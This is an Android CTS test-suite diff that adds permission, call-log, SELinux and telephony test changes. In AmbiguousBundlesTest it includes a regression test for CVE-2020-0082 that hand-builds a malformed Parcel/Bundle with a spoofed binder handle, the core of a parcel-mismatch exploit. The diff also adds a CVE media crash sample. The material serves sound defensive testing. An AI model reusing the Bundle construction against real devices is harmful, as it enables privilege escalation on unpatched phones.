diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 96787e7..68b7f0f 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -34,6 +34,11 @@
-->
</test>
+ <!-- Create Place to store apks -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/os" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts/os" />
+ </target_preparer>
<!-- Load additional APKs onto device -->
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 008cd0e..453a994 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -35,6 +35,9 @@
"platformprotosnano",
"permission-test-util-lib",
"nativetesthelper",
+ // TODO(b/175251166): remove once Android migrates to JUnit 4.12,
+ // which provides assertThrows
+ "testng",
],
jni_libs: [
"libctspermission_jni",
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index a383144..dce4530 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -7,3 +7,4 @@
per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
per-file LocationAccessCheckTest.java = ntmyren@google.com
+per-file NoRollbackPermissionTest.java = mpgroover@google.com
diff --git a/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
new file mode 100644
index 0000000..a850eff
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.pm.PackageInstaller;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class NoRollbackPermissionTest {
+ @Test
+ public void testCreateInstallSessionWithReasonRollbackFails() throws Exception {
+ // The INSTALL_REASON_ROLLBACK allows an APK to be rolled back to a previous signing key
+ // without setting the ROLLBACK capability in the lineage. Since only signature|privileged
+ // apps can hold the necessary permission to initiate a rollback ensure apps without this
+ // permission cannot set rollback as the install reason.
+ PackageInstaller packageInstaller =
+ InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+ .getPackageInstaller();
+ PackageInstaller.SessionParams parentParams = new PackageInstaller.SessionParams(
+ PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+ parentParams.setRequestDowngrade(true);
+ parentParams.setMultiPackage();
+ // The constant PackageManager.INSTALL_REASON_ROLLBACK is hidden from apps, but an app can
+ // still use its constant value.
+ parentParams.setInstallReason(5);
+ assertThrows(SecurityException.class, () -> packageInstaller.createSession(parentParams));
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
index 3e302a9..00d4b40 100644
--- a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
@@ -23,6 +23,7 @@
import android.app.UiAutomation
import android.content.Context
import android.content.pm.PackageManager
+import android.platform.test.annotations.AppModeFull
import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.SystemUtil
import org.junit.After
@@ -30,6 +31,7 @@
import org.junit.Before
import org.junit.Test
+@AppModeFull
class StorageEscalationTest {
companion object {
private const val APK_DIRECTORY = "/data/local/tmp/cts/permissions"
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 9a175c3..68effaa 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -2174,6 +2174,13 @@
<permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
android:protectionLevel="signature|privileged" />
+ <!-- Allows to read device identifiers and use ICC based authentication like EAP-AKA.
+ Often required in authentication to access the carrier's server and manage services
+ of the subscriber.
+ <p>Protection level: signature|appop -->
+ <permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER"
+ android:protectionLevel="signature|appop" />
+
<!-- @SystemApi Allows read access to emergency number information for ongoing calls or SMS
sessions.
@hide Used internally. -->
@@ -2341,6 +2348,15 @@
<permission android:name="android.permission.READ_CARRIER_APP_INFO"
android:protectionLevel="signature" />
+ <!-- Must be required by an GbaService to ensure that only the
+ system can bind to it.
+ <p>Protection level: signature
+ @SystemApi
+ @hide
+ -->
+ <permission android:name="android.permission.BIND_GBA_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- ================================== -->
<!-- Permissions for sdcard interaction -->
<!-- ================================== -->
@@ -2675,6 +2691,10 @@
<permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an app to prevent non-system-overlay windows from being drawn on top of it -->
+ <permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"
+ android:protectionLevel="normal" />
+
<!-- ================================== -->
<!-- Permissions affecting the system wallpaper -->
<!-- ================================== -->
@@ -3230,6 +3250,7 @@
{@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
to hide non-system-overlay windows.
<p>Not for use by third-party applications.
+ @deprecated Use {@link android.Manifest.permission#HIDE_OVERLAY_WINDOWS} instead
@hide
-->
<permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
@@ -3895,6 +3916,12 @@
<permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
android:protectionLevel="signature" />
+ <!-- Allows an application to subscribe to notifications about the presence status change
+ of their associated companion device
+ -->
+ <permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE"
+ android:protectionLevel="normal" />
+
<!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
<p>Not for use by third-party applications.
@hide
@@ -3902,6 +3929,14 @@
<permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows an application to rotate a surface by arbitrary degree.
+ This is a sub-feature of ACCESS_SURFACE_FLINGER and can be granted in a more concrete way.
+ <p>Not for use by third-party applications.
+ @hide
+ -->
+ <permission android:name="android.permission.ROTATE_SURFACE_FLINGER"
+ android:protectionLevel="signature|recents" />
+
<!-- Allows an application to take screen shots and more generally
get access to the frame buffer data.
<p>Not for use by third-party applications.
@@ -4560,7 +4595,7 @@
<!-- Allows access to keyguard secure storage. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|setup" />
<!-- Allows applications to set the initial lockscreen state.
<p>Not for use by third-party applications. @hide -->
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 233372c..8f62859 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -341,6 +341,9 @@
protectionLevel |= PermissionInfo.PROTECTION_SIGNATURE;
protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
} break;
+ case "internal": {
+ protectionLevel |= PermissionInfo.PROTECTION_INTERNAL;
+ } break;
case "system": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
} break;
@@ -407,6 +410,9 @@
case "recents": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_RECENTS;
} break;
+ case "role": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_ROLE;
+ } break;
}
}
return protectionLevel;
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
index be71f6a..274b005 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -16,11 +16,27 @@
package android.provider.cts.contacts;
+import static org.junit.Assert.assertArrayEquals;
+
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
import android.provider.CallLog;
+import android.provider.cts.R;
import android.test.InstrumentationTestCase;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
public class CallLogTest extends InstrumentationTestCase {
@@ -75,6 +91,59 @@
);
}
+ public void testCallComposerImageStorage() throws Exception {
+ Context context = getInstrumentation().getContext();
+ byte[] expected = readResourceDrawable(context, R.drawable.testimage);
+
+ CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+ new CompletableFuture<>();
+ Pair<Uri, CallLog.CallComposerLoggingException> result;
+ try (InputStream inputStream =
+ context.getResources().openRawResource(R.drawable.testimage)) {
+ CallLog.storeCallComposerPictureAsUser(context, android.os.Process.myUserHandle(),
+ inputStream,
+ Executors.newSingleThreadExecutor(),
+ new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+ @Override
+ public void onResult(@NonNull Uri result) {
+ resultFuture.complete(Pair.create(result, null));
+ }
+
+ @Override
+ public void onError(CallLog.CallComposerLoggingException error) {
+ resultFuture.complete(Pair.create(null, error));
+ }
+ });
+ result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+ if (result.second != null) {
+ fail("Got error " + result.second.getErrorCode() + " when storing image");
+ }
+ Uri imageLocation = result.first;
+
+ try (ParcelFileDescriptor pfd =
+ context.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+ byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+ assertArrayEquals(expected, remoteBytes);
+ }
+ }
+
+ private byte[] readResourceDrawable(Context context, int id) throws Exception {
+ InputStream inputStream = context.getResources().openRawResource(id);
+ return readBytes(inputStream);
+ }
+
+ private byte[] readBytes(InputStream inputStream) throws Exception {
+ byte[] buffer = new byte[1024];
+ ByteArrayOutputStream output = new ByteArrayOutputStream();
+ int numRead;
+ do {
+ numRead = inputStream.read(buffer);
+ if (numRead > 0) output.write(buffer, 0, numRead);
+ } while (numRead > 0);
+ return output.toByteArray();
+ }
+
private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
String description) {
final long start = System.currentTimeMillis();
diff --git a/tests/tests/security/res/raw/cve_2021_0312.wav b/tests/tests/security/res/raw/cve_2021_0312.wav
new file mode 100644
index 0000000..aa144ec
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0312.wav
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 1e0232b..59d965d 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -80,8 +80,8 @@
assertNotNull("Expect SecurityException by attaching null application", securityException);
}
- // b/165595677
- @SecurityTest(minPatchLevel = "2020-10")
+ // b/166667403
+ @SecurityTest(minPatchLevel = "2021-01")
public void testActivityManager_appExitReasonPackageNames() {
final String mockPackage = "com.foo.bar";
final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index e7126ed..99b2ab7 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -37,6 +37,145 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
+ /**
+ * b/140417434
+ * Vulnerability Behaviour: Failure via Exception
+ */
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void test_android_CVE_2020_0082() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ private static final int VAL_STRING = 0;
+ private static final int VAL_PARCELABLEARRAY = 16;
+ private static final int LENGTH_PARCELABLEARRAY = 4;
+ private Parcel mContextBinder;
+ private int mContextBinderSize;
+ private static final int BINDER_TYPE_HANDLE = 0x73682a85;
+ private static final int PAYLOAD_DATA_LENGTH = 54;
+
+ {
+ mContextBinder = Parcel.obtain();
+ mContextBinder.writeInt(BINDER_TYPE_HANDLE);
+ for (int i = 0; i < 20; i++) {
+ mContextBinder.writeInt(0);
+ }
+ mContextBinder.setDataPosition(0);
+ mContextBinder.readStrongBinder();
+ mContextBinderSize = mContextBinder.dataPosition();
+ }
+
+ private String fillString(int length) {
+ return new String(new char[length]).replace('\0', 'A');
+ }
+
+
+ private String stringForInts(int... values) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(2 * values.length);
+ for (int value : values) {
+ p.writeInt(value);
+ }
+ p.writeInt(0);
+ p.setDataPosition(0);
+ String s = p.readString();
+ p.recycle();
+ return s;
+ }
+
+ private void writeContextBinder(Parcel parcel) {
+ parcel.appendFrom(mContextBinder, 0, mContextBinderSize);
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key, key2;
+ int keyHash, key2Hash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ do {
+ key2 = randomString(random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || keyHash == key2Hash);
+
+ if (keyHash > key2Hash) {
+ String tmp = key;
+ key = key2;
+ key2 = tmp;
+ }
+
+ // Pad bundles
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ int sizePosition = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.writeInt(BUNDLE_MAGIC);
+ int startPosition = parcel.dataPosition();
+ parcel.writeInt(preReSerialize.size() + 2);
+
+ parcel.writeString(key);
+ parcel.writeInt(VAL_PARCELABLEARRAY);
+ parcel.writeInt(LENGTH_PARCELABLEARRAY);
+ parcel.writeString("android.os.ExternalVibration");
+ parcel.writeInt(0);
+ parcel.writeString(null);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ writeContextBinder(parcel);
+ writeContextBinder(parcel);
+
+ parcel.writeString(null);
+ parcel.writeString(null);
+ parcel.writeString(null);
+
+ // Payload
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_OBJECTARRAY);
+ parcel.writeInt(2);
+ parcel.writeInt(VAL_STRING);
+ parcel.writeString(
+ fillString(PAYLOAD_DATA_LENGTH) + stringForInts(VAL_INTARRAY, 5));
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ // Data from preReSerialize bundle
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Fix up bundle size
+ int bundleDataSize = parcel.dataPosition() - startPosition;
+ parcel.setDataPosition(sizePosition);
+ parcel.writeInt(bundleDataSize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = parcel.readBundle();
+ parcel.recycle();
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
/*
* b/71992105
*/
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index ee9e362..c07852b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1259,6 +1259,16 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testStagefright_cve_2021_0312() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
+ doStagefrightTestExtractorSeek(R.raw.cve_2021_0312, 2, new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2018-09")
public void testStagefright_cve_2018_9474() throws Exception {
MediaPlayer mp = new MediaPlayer();
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 6ec352c..496270f 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -12,6 +12,7 @@
import java.util.Collections;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
+import org.junit.Assert;
abstract class SELinuxTargetSdkTestBase extends AndroidTestCase
{
@@ -19,6 +20,8 @@
System.loadLibrary("ctsselinux_jni");
}
+ static final byte[] ANONYMIZED_HARDWARE_ADDRESS = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
protected static String getFile(String filename) throws IOException {
BufferedReader in = null;
try {
@@ -76,19 +79,11 @@
}
}
- protected static void checkNetlinkRouteBind(boolean expectAllowed) throws IOException {
- if (!expectAllowed) {
- assertEquals(
- "Bind() is not allowed on a netlink route sockets",
- 13,
- checkNetlinkRouteBind());
- } else {
- assertEquals(
- "Bind() should succeed for netlink route sockets for apps with "
- + "targetSdkVersion <= Q",
- -1,
- checkNetlinkRouteBind());
- }
+ protected static void noNetlinkRouteBind() throws IOException {
+ assertEquals(
+ "bind() is not allowed on netlink route sockets",
+ 13,
+ checkNetlinkRouteBind());
}
/**
@@ -169,16 +164,17 @@
}
/**
- * Verify that apps having targetSdkVersion <= 29 are able to see MAC
- * addresses of ethernet devices.
+ * Verify that apps having targetSdkVersion <= 29 get an anonymized MAC
+ * address (02:00:00:00:00:00) instead of a null MAC for ethernet interfaces.
* The counterpart of this test (testing for targetSdkVersion > 29) is
* {@link libcore.java.net.NetworkInterfaceTest#testGetHardwareAddress_returnsNull()}.
*/
- protected static void checkNetworkInterface_returnsHardwareAddresses() throws Exception {
+ protected static void checkNetworkInterface_returnsAnonymizedHardwareAddresses()
+ throws Exception {
assertNotNull(NetworkInterface.getNetworkInterfaces());
for (NetworkInterface nif : Collections.list(NetworkInterface.getNetworkInterfaces())) {
if (isEthernet(nif.getName())) {
- assertEquals(6, nif.getHardwareAddress().length);
+ Assert.assertArrayEquals(ANONYMIZED_HARDWARE_ADDRESS, nif.getHardwareAddress());
}
}
}
diff --git a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
index 1ed366e..1098a6f 100644
--- a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
@@ -83,6 +83,6 @@
}
public void testNoNetlinkRouteBind() throws IOException {
- checkNetlinkRouteBind(false);
+ noNetlinkRouteBind();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index a784464..5e2f75d 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
}
public void testNetworkInterface() throws Exception {
- checkNetworkInterface_returnsHardwareAddresses();
+ checkNetworkInterface_returnsAnonymizedHardwareAddresses();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
index 880ae1a..29b68db 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
}
public void testNetworkInterface() throws Exception {
- checkNetworkInterface_returnsHardwareAddresses();
+ checkNetworkInterface_returnsAnonymizedHardwareAddresses();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
index 1f1eaaa..c1d93dc 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
@@ -47,8 +47,8 @@
checkNetlinkRouteGetlink(true);
}
- public void testNetlinkRouteBindSucceeds() throws IOException {
- checkNetlinkRouteBind(true);
+ public void testNoNetlinkRouteBind() throws IOException {
+ noNetlinkRouteBind();
}
public void testCanNotExecuteFromHomeDir() throws Exception {
@@ -86,6 +86,6 @@
}
public void testNetworkInterface() throws Exception {
- checkNetworkInterface_returnsHardwareAddresses();
+ checkNetworkInterface_returnsAnonymizedHardwareAddresses();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index 05fad31..4de03b0 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -38,7 +38,7 @@
}
public void testNoNetlinkRouteBind() throws IOException {
- checkNetlinkRouteBind(false);
+ noNetlinkRouteBind();
}
public void testCanNotExecuteFromHomeDir() throws Exception {
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 58d51d0..668ae0a 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -18,8 +18,6 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.slice.cts">
- <uses-permission android:name="android.permission.BIND_SLICE"/>
-
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
android:maxRecents="1"
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
index 5543f74..be91afc 100644
--- a/tests/tests/slice/AndroidTest.xml
+++ b/tests/tests/slice/AndroidTest.xml
@@ -24,10 +24,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSliceTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="pm grant android.slice.cts android.permission.BIND_SLICE" />
- <option name="teardown-command" value="pm revoke android.slice.cts android.permission.BIND_SLICE"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.slice.cts" />
<option name="runtime-hint" value="1m" />
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
deleted file mode 100644
index b6b2f4c..0000000
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.slice.cts;
-
-import android.content.pm.PackageManager;
-import androidx.test.InstrumentationRegistry;
-import android.content.Context;
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.content.ContentResolver;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.google.android.collect.Lists;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import static org.junit.Assume.assumeFalse;
-
-@RunWith(AndroidJUnit4.class)
-public class SliceProviderTest {
-
- private static final String VALID_AUTHORITY = "android.slice.cts";
- private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
- private static final String ACTION_BLUETOOTH = "/action/bluetooth";
- private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
- private static final String VALID_ACTION_URI_STRING =
- "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
- private static final String SHADY_ACTION_URI_STRING =
- "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
- private final Context mContext = InstrumentationRegistry.getContext();
- private boolean isSliceDisabled = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_SLICES_DISABLED);
-
- @Rule
- public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
-
- private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
- private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
- private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
-
- private ContentResolver mContentResolver;
-
- @Before
- public void setUp() {
- mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
- }
-
- @Test
- public void testCallSliceUri_ValidAuthority() {
- assumeFalse(isSliceDisabled);
- doQuery(validActionUri);
- }
-
- @Test(expected = SecurityException.class)
- public void testCallSliceUri_ShadyAuthority() {
- assumeFalse(isSliceDisabled);
- doQuery(shadyActionUri);
- }
-
- private Slice doQuery(Uri actionUri) {
- Bundle extras = new Bundle();
- extras.putParcelable("slice_uri", actionUri);
- extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
- new SliceSpec("androidx.slice.LIST", 1),
- new SliceSpec("androidx.app.slice.BASIC", 1),
- new SliceSpec("androidx.slice.BASIC", 1),
- new SliceSpec("androidx.app.slice.LIST", 1)
- ));
- Bundle result = mContentResolver.call(
- validBaseUri,
- SliceProvider.METHOD_SLICE,
- null,
- extras
- );
- return result.getParcelable(SliceProvider.EXTRA_SLICE);
- }
-
-}
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index f686867..7a3ae56 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -30,10 +30,13 @@
<option name="test-file-name" value="CarModeTestApp.apk" />
<option name="test-file-name" value="CarModeTestAppTwo.apk" />
</target_preparer>
+
+ <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Disable hidden API checking, see b/166236554 -->
- <option name="run-command" value="settings put global hidden_api_policy 1" />
- <option name="teardown-command" value="settings delete global hidden_api_policy" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.telecom.cts" />
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 1067197..d58f103 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -36,6 +36,7 @@
<uses-permission android:name="android.permission.USE_SIP"/>
<uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
<uses-permission android:name="android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS" />
+ <uses-permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER" />
<permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
android:protectionLevel="signature"/>
@@ -161,6 +162,16 @@
</intent-filter>
</service>
+ <service
+ android:name="android.telephony.gba.cts.TestGbaService"
+ android:directBootAware="true"
+ android:permission="android.permission.BIND_GBA_SERVICE"
